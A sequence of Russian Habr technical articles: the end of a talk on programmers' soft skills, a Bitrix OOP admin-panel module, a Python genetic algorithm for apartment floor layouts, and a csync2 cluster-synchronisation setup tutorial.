Полученные значения цены и полезности будут координатами для наших навыков: цена по оси OX, полезность по оси OY.
Все полученное пространство навыков можно условно разделить на 4 кластера. (*Визуализация из Jupyter Notebook — не судите строго.*)
В левом нижнем углу находятся условно «Дешевые и бесполезные» — навыки, которые не так сложно развить и по мнению участников опроса от них не так много пользы в карьере. Забавно, что по большинству из этих навыков есть различные экспресс-тренинги, что еще раз подтверждает, что их не так сложно прокачать.
В категорию «Дорогие и бесполезные» попали: харизма, юмор, ответственность и самостоятельность. То есть то, что как юмор, бывает на высоком уровне с рождения, но развивать это сложно.
«Дорогие и полезные»: быстрая обучаемость, инициативность, креативность. Эти навыки тяжело развить, но если все-таки удастся, то и пользы для карьеры должно быть много.
Больше всего нам, конечно, интересны «Дешевые и полезные» навыки, вот они:
Получилось, что **рефлексия — самый полезный навык**, но далеко не самый дешевый из представленных.
Здесь же находятся навыки коммуникации и поиск и анализ информации, который и по результатам первичной оценки был хорошим навыком.
Но мне показалось, что из этих данных можно получить еще какую-то полезную информацию.
### Корреляция навыков
Я вспомнил курс математической статистики и попробовал рассчитать корреляцию всех навыков попарно.
<https://sandark7.github.io/FrontendConf2019/#79>
Сейчас объясню, что значит вся эта мозаика и на что нам нужно обратить внимание. Во-первых, чем темнее цвет, тем корреляция меньше. Чем светлее, тем сильнее влияет изменение одной величины на значение другой. Сильная корреляция вдоль диагонали объясняется тем, что это навыки из одной группы и логично, что они взаимосвязаны, — это нам не так интересно.
Интереснее отдельные всплески. Например, согласно моему исследованию, оказалось, что развитие одного из навыков в этих парах провоцирует развитие и второго:
* Убеждение и аргументация — Критичность мышления.
* Дисциплина — Восприятие критики.
* Восприятие критики — Уверенность в себе.
* Рефлексия — Умение принимать решения.
Для некоторых пар навыков коэффициент корреляции имеет отрицательное значение, то есть когда развивается один — другой наоборот проваливается. Сильнее всего такая связь выражена для инициативности и тайм-менеджмента: **чем ты инициативнее, тем хуже с тайм-менеджментом, и наоборот**.
Так же я рассчитал коэффициент корреляции групп навыков, используя результаты ответов на вопрос о важности.
Положительная корреляция важности навыков (чем важнее оказалось одно, тем важнее и другое):
* Организованность — Мышление.
* Коммуникация — Самопрезентация.
* Гибкость — Коммуникация.
Отрицательная корреляция наблюдается только в одной паре: Самообразование — Гибкость.
### Зависимость развития навыков друг от друга
Напоследок я решил вспомнить, что там еще было в курсе матстатистики, и попробовал вычислить условную вероятность неосознанного получения навыка при условии осознанного развития другого. Условная вероятность — это вероятность наступления одного события при условии, что другое событие уже произошло, вычисляется по формуле . Применив её к полученным нами результатам, получилось следующее:
<https://sandark7.github.io/FrontendConf2019/#87>
Сильнее всего оказалась условная вероятность в паре «Логическое мышление — Умение принимать решение». Очевидно, если развивать логическое мышление, то принимать решения будет проще, что только подтверждает адекватность расчетов.
| | |
| --- | --- |
| Осознанно развивал | Неосознанно получил |
| Инициативность | Логическое мышление |
| Многозадачность | Самостоятельность |
| Тайм-менеджмент | Поиск и анализ информации |
| Эмоциональный интеллект | Критичность мышления |
| Ответственность | Многозадачность |
Получается почти как в DnD: например, качаете многозадачность, бонусом получаете очки к самостоятельности. И особенно ценным в данном исследовании для меня было то, что его результаты не противоречили здравому смыслу.
Как развивать
-------------
Помимо уже упомянутых вопросов, в опросе я спрашивал: «Если вы осознанно развивали конкретную группу навыков, то каким образом». Посмотрим на примере статистики ответов про самообразование.
Как видно, люди чаще ищут знания в книгах, чем на тренингах или курсах. Если вам тоже ближе книги, то начать развивать гибкие навыки можно с книги «Путь программиста» Джона Сонмеза (в оригинале «Soft Skills: The Software Developer's Life Manual»). Или сначала можно посмотреть мастер-класс Саши Шинкевич и Никиты Дубко [«Soft Skills для интровертов»](https://www.youtube.com/watch?v=UE9aGHgqQc0) и за пару часов наметить индивидуальный план.
Вообще, принято считать, что софт-скиллы присущи экстравертам. Но у интровертов есть преимущество: они умеют анализировать себя и свои поступки изнутри. Например, я считаю себя интровертом, но это не мешает мне работать с людьми и развивать софт-скиллы.
Даже если у вас не очень развиты софт-скиллы, вы можете выбрать несколько, которые вам больше по душе и которые вам будет не очень трудно развить. Так вы, во-первых, увидите в них практическую пользу, а во-вторых, это косвенно повлияет на какие-нибудь дополнительные навыки, и клубочек начнет раскручиваться.
И закончить хотелось бы тезисом из исследования LinkedIn, что софт-скиллы приобретают особенную важность с развитием искусственного интеллекта. Кажется, что единственное, чему роботы никогда не научатся, это как раз софт-скиллам.
*После выступления на FrontendConf мне задали много хороших и каверзных вопросов. Возможно, вы найдете что-нибудь полезное в* [*записи этой беседы*](https://youtu.be/N69EeXBEjKg?t=2131).
> Сейчас, когда большинство компаний перестраивают процессы на полноценную удалённую работу, требуемый набор soft skills для программиста меняется. На следующей неделе я буду выступать на РИТ++ с докладом [«Soft Skills Remote»](https://ritfest.ru/2020/abstracts/6802) и попробую проанализировать и рассказать вам, какие гибкие навыки в такое время уходят на второй план, а какие становятся крайне важными. Кроме того в двухнедельной [программе фестиваля](https://ritfest.ru/2020/abstracts) будет целая серия докладов и мастер-классов, посвященных навыкам коммуникации и soft skills. Мероприятие стартует 25 мая — еще можно успеть присоединиться. | https://habr.com/ru/post/502706/ | null | ru | null |
# ООП-конструктор админки для Битрикс
Чем серьёзнее мы относимся к своим проектам, тем больше нам хочется, чтобы задачи решались лучшим из возможных способов. Например, хотим мы предоставить клиенту качественную админку в адекватные сроки. Лично мне в такие моменты сразу вспоминается Django: создал модель – получи админку. Или виджеты в Yii. Или чудная комбинация из хуков и классов в Drupal 7. Или Sonata в Symfony, про которую я, правда, только лишь слышал. А что делать, если нам достался Битрикс?
Админка по битриксовому «фен-шую»
---------------------------------
К сожалению, Битрикс, несмотря на попытки разработчиков как-то исправить положение, во многих своих аспектах остаётся системой архаичной: процедурные куски кода в несколько сотен строк, копипаст, возведённый до уровня мануала, классы, от которых невозможно нормально наследоваться – всё это по сей день остаётся реальностью для тех, кому приходится работать с этой системой. И, уверен, пройдёт это не скоро.
Что должен делать разработчик, если ему нужно создать административный интерфейс для какой-либо кастомной таблицы в БД? Согласно мануалу, нам нужно скопировать «рыбу» с кодом **в 417 строк** – для страницы списка элементов **и 365 строк** – для страницы редактирования элемента. Ну или написать всё самим, если мы счастливые обладатели феноменальной памяти. Что ж, 2016 год на дворе – хорошее начало!
Но ведь у нас ещё ничего не работает! После того, как мы совершили акт копипаста, нам нужно внимательно вычитать 782 строки кода, удалить всё лишнее и дописать своё. А именно:
1. Написать валидацию данных фильтров.
2. Указать список колонок для фильтрации выборки.
3. Написать обработку действий над отдельным элементом и над группой элементов списка.
4. Сделать саму выборку. Причём обычно никто не парится, делают просто SELECT \* FROM … — в «рыбе» от битрикса никак не предлагается ограничивать список выбираемых полей только теми, которые необходимы.
5. Указать список колонок для вывода в списке.
6. В процессе вывода списка для каждой колонки вывести определённый элемент управления.
7. Вывести футер таблицы.
8. Вывести фильтр над таблицей.
Это для страницы списка. Я специально указывал пункты не в том порядке, в котором подсказывает логика, и в котором они выводятся на результирующей странице, а в том порядке, в котором этот код встречается в «рыбе» из мануала.
Теперь, что нам нужно сделать, если мы решили, скажем, добавить в список ещё одно поле? Или даже просто переименовать какое-то существующее? Мы должны в 7-и местах прописать это новое поле или изменить существующее, ни разу не ошибившись! Ситуация осложняется тем, что вместе с php-кодом в этом же файле идёт и html, притом совершенно не в том порядке, в котором он выводится на странице, нечитабельный ни вашей любимой IDE, ни человеческим глазом, потому что многие теги генерируются где-то в недрах. В этом всём очень сложно ориентироваться. Особенно когда страница совсем уже не простая и на ней содержится ещё и JS-код, как правило писанный инлайном.
Что мы получаем в итоге? Баги. Сложность поддержки. Неоправданно высокие временные затраты даже при изменении какой-либо мелочи. Для страницы редактирования элемента ситуация такая же. Искренне не понимаю, как столько лет можно было жевать такой кактус?!
Как всё могло бы быть
---------------------
Как ни странно, API для админки у Битрикса спроектирован неплохо. После вышеописанных ужасов в это трудно поверить, однако это действительно так. Потому что проблема не в самом API, а в том, как его дальше стали использовать. Создаётся такое впечатление, что разработчик(и) API имели насчёт него какие-то планы на будущее, либо просто некие смутные прозрения, но не сделали простого и логичного следующего шага: создания набора MVC-классов. Вероятно, причиной тому – отсутствие до недавнего времени единого интерфейса работы с БД.
После просмотра великого множества самописных админок становится ясно, что, вне зависимости от сложности и особенностей задачи, процесс построения админки включает в себя одни и те же шаги, которые я описал выше. А значит, и код везде один и тот же, остаётся только менять входные данные. Можно выделить следующие сущности пока не привязываясь к коду:
1. Конфиг интерфейса: список полей, который будет использоваться для формирования фильтров, колонок таблицы списка или набора инпутов на странице редактирования.
2. Класс-представление для вывода интерфейса. На входе он должен получать конфиг, «под капотом» у него будет вся та логика, которую мы видим в «рыбе» от битрикса, на выходе он выдаст отрисованную страничку.
3. Виджет. Содержит в себе логику работы отдельного поля админки. В списке с его помощью отрисовываются ячейки таблицы, на странице редактирования – поля элемента.
Справедливости ради надо сказать, что отголоски этой концепции видны в исходном коде битрикса: в частности, «пользовательские типы», которые есть как для инфоблоков, так и для «Highload»-инфоблоков – не что иное, как «виджеты» в вышеописанной схеме.
Реализовав вышеописанные классы, мы могли бы существенно сократить «рыбу» от битрикса до чего-то подобного:
```
$fields = include(‘fields.conf.php’);
$adminListHelper = new MyHelper($fields);
$adminListHelper->buildList(array($by => $order));
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/prolog_admin_after.php");
$adminListHelper ->createFilterForm();
$adminListHelper ->show();
require($_SERVER["DOCUMENT_ROOT"] . "/bitrix/modules/main/include/epilog_admin.php");
```
В этом семистрочном куске кода проглядываются основные шаги по созданию админки, описанные в начале статьи. Но вместо того, чтобы копировать этот, пусть и короткий, сниппет каждый раз, лучше потрудиться ещё немного и сделать вот что:
* вышеуказанный код прописать в специальном файле route.php, на который будут перенаправляться все запросы к административному интерфейсу, созданному через нашу надстройку над битриксовым API;
* в файле с описанием конфига интерфейса выполнять регистрацию этого конфига в какой-либо глобальной переменной или статической переменной класса;
* при обращении к страницам административного интерфейса использовать не прямые URL, а псевдонимы и функции, конструирующие правильный URL из этих псевдонимов;
* в итоге, все запросы придут в route.php, который и разберётся, какой класс нужно создавать, какой конфиг интерфейса в него передавать, и как всё это выводить.
В итоге, код, необходимый для создания базовых страниц списка и редактирования, сокращается в разы, и, поскольку речь уже не идёт о сотнях строк, я могу привести его здесь:
**Класс списка**
```
class TableListHelper extends AdminListHelper
{
static protected $model = 'MyModelTable';
static public $module = 'my.module';
static protected $viewName = 'table_list';
static protected $editViewName = 'table_detail';
}
```
**Класс страницы редактирования**
```
class TableEditHelper extends AdminEditHelper
{
static protected $model = 'MyModelTable';
static public $module = 'my.module';
static protected $listViewName = 'table_list';
static protected $viewName = 'table_detail';
}
```
**Настройки интерфейса**
```
AdminBaseHelper::setInterfaceSettings(
array(
'FIELDS' => array(
'ID' => array(
'WIDGET' => new NumberWidget(),
'TITLE' => 'ID',
'TAB' => 'TAB_ONE'
),
'STRING' => array(
'WIDGET' => new StringWidget(),
'TITLE' => 'STRING',
'TAB' => 'TAB_ONE'
),
'NUMBER' => array(
'WIDGET' => new NumberWidget(),
'TITLE' => 'NUMBER',
'TAB' => 'TAB_ANOTHER'
),
'TEXT' => array(
'WIDGET' => new TextAreaWidget(),
'TITLE' => 'TEXT',
'TAB' => 'TAB_ANOTHER'
)
),
'TABS' => array(
'TAB_ONE' => Loc::getMessage('TAB_ONE'),
'TAB_ANOTHER' => Loc::getMessage('TAB_ANOTHER'),
)
),
array(
'\TableEditHelper',
'\TableListHelper'
),
'my.module'
);
```
**Файл menu.php**
```
$menu = array(
array(
"parent_menu" => "global_menu_services",
"section" => "table",
"sort" => 140,
"text" => Loc::getMessage('TABLE_MENU_TEXT'),
"title" => Loc::getMessage('TABLE_MENU_TITLE'),
"icon" => "table_menu_icon",
"page_icon" => "table_page_icon",
"items_id" => "menu_table",
"url" => TableEditHelper::getListPageURL(),
"more_url" => array(
TableListHelper::getEditPageURL()
),
),
);
return $menu;
```
Никаких сотен строк копипаста и копирования файлов в /bitrix/admin – а в результате получаем вполне рабочую админку для таблицы с четырьмя колонками: страницу списка, страницу редактирования и ссылки на них в меню системы. С поддержкой CRUD-операций «из коробки». С нормальным роутингом (в данном примере – /bitrix/admin/route.php?module=my.module&view=tab\_list откроет страницу списка. Можно доработать это до «ЧПУ», если есть желание или необходимость). Дальше только переопределяем методы базовых классов, чтобы кастомизировать её поведение под свои задачи. Выглядит заманчиво, не правда ли?
Будущее уже здесь!
------------------
А теперь о приятном: описанное выше – уже не просто концепт, а реальный, работающий, уже побывавший в продакшене многих проектов, модуль, которым мне и хотелось бы поделиться:
[github.com/DigitalWand/digitalwand.admin\_helper](https://github.com/DigitalWand/digitalwand.admin_helper)
Код становится на несколько порядков лаконичнее, шаблонный копипаст сводится к минимуму, уступая место массивам с конфигурацией, чего в битриксе в принципе не было:
*Сравнение основано на:
* Документации Битрикс: [dev.1c-bitrix.ru/api\_help/main/general/admin.section](http://dev.1c-bitrix.ru/api_help/main/general/admin.section)
* Примере использования модуля: [github.com/niksamokhvalov/demo.adminhelper](https://github.com/niksamokhvalov/demo.adminhelper)*
Модуль может работать как с полностью кастомными таблицами, так и с таблицами, созданными через битриксовый функционал «Highload»-инфоблоков, при этом вместо «виджетов» есть возможность использовать классы «пользовательских свойств». Таким образом, весь функционал, доступный в админке «Highload»-инфолоков, доступен и нам, только теперь мы можем без труда кастомизировать его под свои нужды.
Также должен предупредить читателей, что в данной статье был умышленно использован «старый стиль» работы с модулем из его первой версии, дабы нагляднее продемонстрировать внутренний механизм его работы. В последних версиях в классах-хэлперах достаточно указать только модель – всё остальное модуль определит сам.
Ещё из полезных материалов имеются:
* [Небольшая презентация](http://www.slideshare.net/ASGAlex/admin-helper), призванная убедить сторонников «олдскула» и «битрикс-вэя» перейти на новые «рельсы».
* Схема, в общих чертах иллюстрирующая архитектуру модуля: 
Хочется завершить статью словами благодарности авторам Qt Framework, который вдохновил на стремление к прекрасному и в вебе, пожеланием успеха тем, кто сейчас активно развивает этот модуль, а также надеждой, что когда-нибудь писать под Битрикс станет не только выгодно, но и приятно. | https://habr.com/ru/post/276481/ | null | ru | null |
# Генетический алгоритм поиска решения для задачи по выбору планировок этажа многоквартирного дома
Вступление
----------
Предложенный алгоритм - это очень ранний прототип рабочей версии. Суть публикации познакомить всех желающих с возможностями генетических алгоритмов в различных сферах бизнеса.
Постановка задачи
-----------------
По данным от Заказчика выбрать оптимальный вариант количества и планировок квартир для этажа многоквартирного дома.
Исходные данные
---------------
#### База планировок
Для тестовой модели мы подготовили базу планировок в Notion. В дальнейшем к ней легко подключиться по API из Google Colab.
База планировок квартир#### Данные от Заказчика по параметрам этажа
1. Ширина этажа
2. Квартирограмма
3. Количество поколений для поиска решения
Методика генетического алгоритма поиска решения
-----------------------------------------------
1. **Данные на входе**
1. Массив значений вида: [1, 0, 25000, 7000, 0, 100, 0, 0]
1. *Расшифровка: [Floors, Angle, Floor\_width, Floor\_deep, Room\_S, Room\_1k, Room\_2k, Room\_3k]*
2. **Структура классов**
1. Опишем квартиру (FLAT\_DNA) как ДНК, состоящую из двух генов:
1. Тип квартиры
1. Торцевая (E)
2. Стандарт (S)
2. Тип планировки
1. Студия (S)
2. 1 комнатная (1k)
3. 2 комнатная (2k)
4. 3 комнатная (3k)
2. ДНК этажа (FLOOR) будет иметь такую структуру:
1. Первый ген = ДНК квартиры с зафиксированным геном “Тип квартиры” = (E)
2. Со второго до предпоследнего все ДНК квартиры случайные
3. Последний ген = ДНК квартиры с зафиксированным геном “Тип квартиры” = (E)
3. **Первое поколение (BuildNewGeneration)**
1. По умолчанию для первого поколения мы создаем (GENETIC\_FLOOR.NEWBORN) планировок этажей и выбираем размер этажа = 10 квартирам (FLOOR\_SIZE)
2. Заполняем полученное поколение планировок конкретными квартирами из [Базы Данных](https://www.notion.so/214907fe6fe54b859203e01f87bc0232) с помощью функции FillFloor
1. В функции заложено правило, что первая и последняя квартира являются строго типа E, т.е. торцевыми
3. Определяем лучшую планировку этажа в поколении (FindBestFloor)
1. Для каждой планировки в поколении определяем 3 дельты:
1. Отклонение от заданной процентовки квартир (DeltaP)
2. Отклонение от заданной ширины этажа (DeltaS)
3. Сводное отклонение (Delta)
4. Выбираем вариант планировки с наименьшим значением сводного отклонения
5. Меняем размер этажа на кол-во квартир в лучшем варианте (GENETIC\_FLOOR.FLOOR\_SIZE)
4. Передаем ДНК лучшего варианта в первом поколении в следующее поколение
4. **Последующие поколения**
1. На основе полученных вариантов из предыдущего поколения создаем GENETIC\_FLOOR.MUTATED вариантов с измененными ДНК квартир
1. Вероятность мутации 1/20
2. Мутация затрагивает только тип планировки
2. Добавляем новые планировки, но с уже измененным количеством квартир на этажа (GENETIC\_FLOOR.FLOOR\_SIZE)
3. Заполняем полученное поколение планировок конкретными квартирами из [Базы Данных](https://www.notion.so/214907fe6fe54b859203e01f87bc0232) с помощью функции FillFloor
4. Определяем лучшую планировку этажа в поколении (FindBestFloor)
5. Передаем ДНК лучшего варианта в первом поколении в следующее поколение
Структура ДНК квартир и этажаИсходный код на Python
----------------------
```
import random
import copy
import pprint
from PIL import Image as IMG, ImageDraw, ImageFilter
import requests
class FLAT_DNA():
Gens = {
# Тип квартиры
# E - Торцевая квартира, S - Стандартная квартира
'Type': [['E', 'S'], 0.5],
# Планировка
# S - Студия, 1k - 1 комнатная, 2k - 2 комнатная, 3k - 3 комнатная
'Layout': [['S', '1k', '2k', '3k'], 0.5],
}
def __init__(self, DNA = None):
self.DNA = {
'Type' : random.choice(FLAT_DNA.Gens['Type'][0]),
'Layout' : random.choice(FLAT_DNA.Gens['Layout'][0])
}
if DNA is not None:
for i in DNA.keys():
self.DNA[i] = DNA[i]
def __repr__(self):
return str(self.DNA)
class FLOOR():
def __init__(self, N):
self.N = N
self.Plan = []
for i in range(N):
self.Plan.append([FLAT_DNA({'Type' : 'S'}), []])
self.Plan[0][0].DNA['Type'] = 'E'
self.Plan[-1][0].DNA['Type'] = 'E'
# Функция наполнения ДНК этажа конкретными вариантами кварти из БД (случайным перебором)
def FillFloor(self):
for i in range(len(self.Plan)):
if self.Plan[i][0].DNA['Type'] == 'E':
flat = random.choice(DB_FlatType_Dict['Торцевая'])
self.Plan[i][1].append(flat)
#print(flat)
if self.Plan[i][0].DNA['Type'] == 'S':
flat = random.choice(DB_FlatType_Dict['Рядовая'])
self.Plan[i][1].append(flat)
#print(flat)
# Функция определения фактической геометрии этажа и площади
def FloorSquare(self):
self.Width = 0
self.Deep = 0
for i in range(len(self.Plan)):
self.Width += self.Plan[i][1][0]['properties']['Ширина']['number']
self.Deep += self.Plan[i][1][0]['properties']['Глубина']['number']
self.Square = self.Width * self.Deep
# Функция генерации словаря с процентовкой квартир на этаже
def FloorPercent(self):
self.FloorPercent_Dict = {}
for g in FLAT_DNA.Gens['Layout'][0]:
if g not in self.FloorPercent_Dict.keys():
self.FloorPercent_Dict[g] = 0
for i in range(len(self.Plan)):
if self.Plan[i][0].DNA['Layout'] == g:
self.FloorPercent_Dict[g] += 1
for i in self.FloorPercent_Dict.keys():
self.FloorPercent_Dict[i] = self.FloorPercent_Dict[i]*100/self.N
def GetPNG(self):
floor_img = IMG.new('RGB', (6000, 3000), color = 'white')
W = 0
for i in range(len(self.Plan)):
url = self.Plan[i][1][0]['properties']['Foto']['files'][0]['file']['url']
im = IMG.open(requests.get(url, stream=True).raw)
floor_img.paste(im, (int(W/10), 0))
W += self.Plan[i][1][0]['properties']['Ширина']['number']
floor_img.save(f'./floor_img.png')
class GENETIC_FLOOR():
FLOOR_SIZE = 10
NEWBORN = 20
MUTATED = 100
SURVIVERS = 1
# [Floors, Angle, Floor_width, Floor_deep, Room_S, Room_1k, Room_2k, Room_3k]
def __init__(self, data):
self.data = data
self.Generation = {}
def RunGenerations(self, N):
for i in range(N):
#print(f'--- Поколение №{(i+1)} ---')
if hasattr(self, 'BestFloor'):
# Создаем поколение и передаем в него лучший вариант из предыдущего поколения
self.BuildNewGeneration([self.BestFloor[0]])
else:
# Создаем первое поколение
self.BuildNewGeneration()
# Определяем лучшый вариант в текущем поколении
self.FindBestFloor(GENETIC_FLOOR.SURVIVERS)
#print(f'Первый вариант в поколении: {self.Generation[0].Width}')
#print(f'Ко-во вариантов в поколении: {len(self.Generation)}')
print(f'Итоговое распределение квартир: {self.BestFloor[0].FloorPercent_Dict}, отклонения: {self.BestDeltaP}/{self.BestDeltaS}/{self.BestDelta}, ширина: {self.BestFloor[0].Width}')
#print(f'Квартир на этаже: {self.BestFloor[0].N}')
def BuildNewGeneration(self, Survivers_array=[]):
NewGeneration = {}
self.Generation = {}
index = 0
# Добавляем лучшие этажи из предыдущего поколения к новому поколению
for i in Survivers_array:
NewGeneration[index] = copy.deepcopy(i)
index += 1
# Меняем планировки в лучших вариантах из предыдущего поколения
for i in Survivers_array:
for k in range(GENETIC_FLOOR.MUTATED):
for p in range(len(i.Plan)):
if i.Plan[p][0].DNA['Type'] == 'E':
if random.randint(1, 20) == 5:
flat = random.choice(DB_FlatType_Dict['Торцевая'])
i.Plan[p][1][0] = flat
#print(f'Мутация торцевой квартиры')
if i.Plan[p][0].DNA['Type'] == 'S':
if random.randint(1, 20) == 5:
flat = random.choice(DB_FlatType_Dict['Рядовая'])
i.Plan[p][1][0] = flat
#print(f'Мутация радовой квартиры')
NewGeneration[index] = i
index += 1
# Добавляем новых вариантов к новому поколению
for i in range(GENETIC_FLOOR.NEWBORN):
N_new = GENETIC_FLOOR.FLOOR_SIZE + random.randint(-3, 4)
if N_new<=0:
N_new = 1
floor1 = FLOOR(N_new)
floor1.FillFloor()
NewGeneration[index] = floor1
index += 1
self.Generation = copy.deepcopy(NewGeneration)
def FindBestFloor(self, N=1):
DeltaP = 1000000 # Отклонение по процентам
DeltaS = 1000000 # Отклонение по площади
Delta = 1000000 # Отклонение сводное
#Delta_array = []
BestFloor = []
for i in self.Generation.keys():
g = self.Generation[i]
# Определили процентовку
g.FloorPercent()
# Определили геометрию
g.FloorSquare()
# Считаем отклонения от заданной процентовки
DeltaP_tmp = self.CampareFloorPercent({'S': self.data[4], '1k': self.data[5], '2k': self.data[6], '3k': self.data[7]}, g.FloorPercent_Dict)
# Считаем отклонение от Ширины этажа
DeltaS_tmp = abs(g.Width - self.data[2])
# Выводим сводное отклонение
Delta_tmp = DeltaP_tmp + DeltaS_tmp / 1500
if Delta_tmp < Delta:
BestFloor.insert(0, g)
DeltaP = DeltaP_tmp
DeltaS = DeltaS_tmp
Delta = Delta_tmp
#Delta_array.append(Delta_tmp)
self.BestFloor = BestFloor
self.BestDelta = Delta
self.BestDeltaP = DeltaP
self.BestDeltaS = DeltaS
GENETIC_FLOOR.FLOOR_SIZE = self.BestFloor[0].N
def CampareFloorPercent(self, d1, d2):
Delta = 0
for i in d1.keys():
Delta += abs(d1[i] - d2[i])
return Delta
```
Результат работы алгоритма
--------------------------
```
Исходные данные: [1, 0, 60000, 10000, 10, 60, 30, 0]
Идет рассчет...
Итоговое распределение квартир: {'S': 12.5, '1k': 62.5, '2k': 25.0, '3k': 0.0}, отклонения: 10.0/5350/13.566666666666666, ширина: 54650
Итоговая длина этажа: 54650
Исходные данные: [1, 0, 60000, 10000, 10, 60, 30, 0]
Идет рассчет...
Итоговое распределение квартир: {'S': 12.5, '1k': 62.5, '2k': 25.0, '3k': 0.0}, отклонения: 10.0/800/10.533333333333333, ширина: 59200
Итоговая длина этажа: 59200
Исходные данные: [1, 0, 60000, 10000, 10, 60, 30, 0]
Идет рассчет...
Итоговое распределение квартир: {'S': 7.142857142857143, '1k': 57.142857142857146, '2k': 28.571428571428573, '3k': 7.142857142857143}, отклонения: 14.285714285714281/3000/16.28571428571428, ширина: 63000
Итоговая длина этажа: 63000
Исходные данные: [1, 0, 60000, 10000, 10, 60, 30, 0]
Идет рассчет...
Итоговое распределение квартир: {'S': 9.090909090909092, '1k': 63.63636363636363, '2k': 27.272727272727273, '3k': 0.0}, отклонения: 7.272727272727268/50/7.306060606060601, ширина: 60050
Итоговая длина этажа: 60050
Исходные данные: [1, 0, 60000, 10000, 10, 60, 30, 0]
Идет рассчет...
Итоговое распределение квартир: {'S': 10.0, '1k': 60.0, '2k': 30.0, '3k': 0.0}, отклонения: 0.0/850/0.5666666666666667, ширина: 60850
Итоговая длина этажа: 60850
```
Выбранные планировки, удовлетворяющие поставленной Заказчиком задачеПример работы алгоритма
----------------------- | https://habr.com/ru/post/664766/ | null | ru | null |
# csync2 или как облегчить работу с кластером
Не так давно мне пришлось поднимать Linux кластер для одного довольно нагруженного проекта. Вернее сказать более важным был вопрос отказоустойчивости, чем нагрузки, но обычно кластер призван решить обе эти проблемы единовременно.
В данном случае я не собираюсь рассматривать архитектуру кластера или нюансы отладки, а рассказать о весьма удобном способе управления кластером, ускорении его настройки и отладки.
Согласитесь, удобно иметь набор файлов (например конфигов), которые всегда буду одинаково выглядеть на серверах с одинаковой ролью? Под катом я расскажу, как этого добиться за максимально короткий срок.
В описываемом кластере семь выделенных серверов, которые общаются друг с другом по внутренней сети со следующими hostname:
`Load Balancers **lb1 lb2**
Application Servers **app1 app2**
Database Servers **db1 db2**
Backup server **bckp1**`
А герой сегодняшнего рассказа — [csync2](http://oss.linbit.com/csync2/), довольно старая программа, которая доступна во многих nix репозиториях, а также может быть скачана в виде [tarball](http://oss.linbit.com/csync2/) или из [git репозитория](http://git.linbit.com/csync2.git/).
Итак, пошаговое руководство по установке, настройке и извлечению пользы из csync2.
#### Установка
Установка должна быть произведена на всех нодах кластера:
###### Из репозиториев debian\ubuntu
`apt-get install csync2 -y`
###### Из исходников
Перед установкой убедитесь, что у вас в системе присутствует [librsync](http://librsync.sourceforge.net/)
В противном случае вам необходимо скачать [librsync-0.9.7.tar.gz](http://sourceforge.net/projects/librsync/files/),
и установить его
`tar -xf librsync-0.9.7.tar.gz && cd librsync-0.9.7
./configure && make
make install`
Также csync2 надеется на наличие [libsqlite](http://www.sqlite.org/download.html), которую тоже можно скомпилировать из исходных кодов:
`wget www.sqlite.org/sqlite-autoconf-3070603.tar.gz && tar -xf sqlite-autoconf-3070603.tar.gz && cd sqlite-autoconf-3070603
./configure && make
make install`
А можно использовать довольно необычный способ, указав при конфигурации (./configure) csync2 путь к тарболлу с библиотекой:
`./configure --with-libsqlite-source=/path/to/libsqlite.tar.gz`
Других требований я не получал, да и в связи с возрастом программа имеет прекомпилированные пакеты для большинства OS ([RedHat RPM](http://rpm.pbone.net/index.php3/stat/4/idpl/12103556/dir/redhat_el_5/com/csync2-1.34-4.el5.i386.rpm.html), apt-get \ aptitude install csync2, [FreeBSD ports](http://www.freebsdports.info/ports/net/csync2.html))
Скомпилируем сам csync2
`cd /usr/local/src && wget oss.linbit.com/csync2/csync2-1.34.tar.gz
tar -xf csync2-1.34.tar.gz && cd csync2-1.34
./configure && make
make install`
Я проводил все операции под Ubuntu 10.04 LTS, где csync2 устанавливается одной строчкой.
Если в вашей OS что-то пошло не так — пишите в комментариях, постараюсь помочь.
#### Первичная настройка
Итак у нас есть установленный csync2 на всех нодах, необходимо связать их воедино и заставить обмениваться файлами между собой.
csync2 обменивается файлами посредством шифрованного SSL соединения, поэтому нужно создать единый csync2-сертификат, который позволит серверам «доверять» друг другу:
Согласно инструкции можно в папке с исходниками выполнить команду
`make cert`
или (как делал я), сгенерировать сертификат вручную:
`openssl genrsa -out /etc/csync2_ssl_key.pem 1024
openssl req -new -key /etc/csync2_ssl_key.pem -out /etc/csync2_ssl_cert.csr
openssl x509 -req -days 600 -in /etc/csync2_ssl_cert.csr -signkey /etc/csync2_ssl_key.pem -out /etc/csync2_ssl_cert.pem`
После чего нужно запустить генерацию ключа csync2:
`csync2 -k /etc/csync2.cluster.key`
Выполнение этой команды занимает довольно длительное время, после чего появляется файл **/etc/csync2.cluster.key**
Теперь необходимо скопировать его на все ноды вашего кластера, чтобы они оказались в едином облаке синхронизации. Ключей можно создать несколько, чтобы, к примеру, сервера баз данных не могли связываться с серверами Application, но на мой взгляд это совсем не обязательно, если вы не строите кластер для банка.
#### Первая синхронизация
Самый главный файл программы — **/etc/csync2.cnf**
Работает он по следующему принципу.
Вы задаёте логические группы серверов и указываете, что в них общего?
Например я использую внутреннюю адресацию не по IP, а по hostname, соответственно я хочу, чтобы файл **/etc/hosts** у меня на всех-всех машинах был одинаковый, а при добавлении новой ноды мне было достаточно единожды его изменить, все изменения утекли бы на остальные ноды кластера и они знали, кто такой **app3**, к примеру.
На LoadBalancer'ах у меня стоит nginx, у которого тоже должен быть один и тот же конфиг на разных машинах.
Итак в конфиг-файле я объединяю свои сервера в логические группы:
# Все сервера синхронизируют базовый набор конфигов
`group all {
# список хостов или IP, которые входят в эту логическую группу
host app1 app2;
host db1 db2;
host lb1 lb2;
host bckp1;
# ключ авторизации
key /etc/csync2.cluster.key;
# какие файлы \ папки необходимо синхронизировать?
include /etc/hosts; # файл hosts
include /etc/csync2.cfg; # оппа! сам конфиг csync2 тоже можно сюда положить! ;)
auto younger;# как разрешить конфликты? Какой файл новее - тот и правильный
}
# А на серверах LoadBalancer'ов я хочу ещё синхронизировать все конфиги nginx
group lb {
host lb1 lb2;
key /etc/csync2.cluster.key;
include /etc/nginx/*;
auto younger;
}`
Теперь запустим csync2 с указанием синхронизировать всё, что можно синхронизировать:
`csync2 -x`
После первичной авторизации все хосты синхронизируются и указанные вами файлы станут одинаковыми на всех нодах.
###### Возможные проблемы
Если что-то пошло не так, запустите
`csync2 -xv
csync2 -xvv`
и т.д.
У меня csync2 ругался на отсутствие доступа на запись **/etc/hosts** на других машинах, эта проблема сама собой разрешалась после того, как на них первый раз также был запущен csync2.
Если csync2 ругается на SSL — проверьте, скопирован ли на все хосты файл **/etc/csync2.cluster.key** и правильно ли указан в конфиге.
